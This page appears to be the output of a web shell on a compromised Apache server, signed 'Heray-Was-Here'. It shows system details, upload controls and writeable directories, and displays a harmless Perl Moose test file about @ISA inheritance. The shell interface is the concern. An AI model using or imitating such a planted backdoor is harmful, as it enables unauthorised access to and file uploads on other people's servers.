Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/usr/share/doc/perl-Moose/t/compat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/doc/perl-Moose/t/compat/moose_respects_base.t
use strict;
use warnings;

use Test::More;


=pod

This test demonstrates that Moose will respect
a previously set @ISA using use base, and not
try to add Moose::Object to it.

However, this is extremely order sensitive as
this test also demonstrates.

=cut

{
    package Foo;
    use strict;
    use warnings;

    sub foo { 'Foo::foo' }

    package Bar;
    use parent -norequire => 'Foo';
    use Moose;

    sub new { (shift)->meta->new_object(@_) }

    package Baz;
    use Moose;
    use parent -norequire => 'Foo';
}

my $bar = Bar->new;
isa_ok($bar, 'Bar');
isa_ok($bar, 'Foo');
ok(!$bar->isa('Moose::Object'), '... Bar is not Moose::Object subclass');

my $baz = Baz->new;
isa_ok($baz, 'Baz');
isa_ok($baz, 'Foo');
isa_ok($baz, 'Moose::Object');

done_testing;

Hry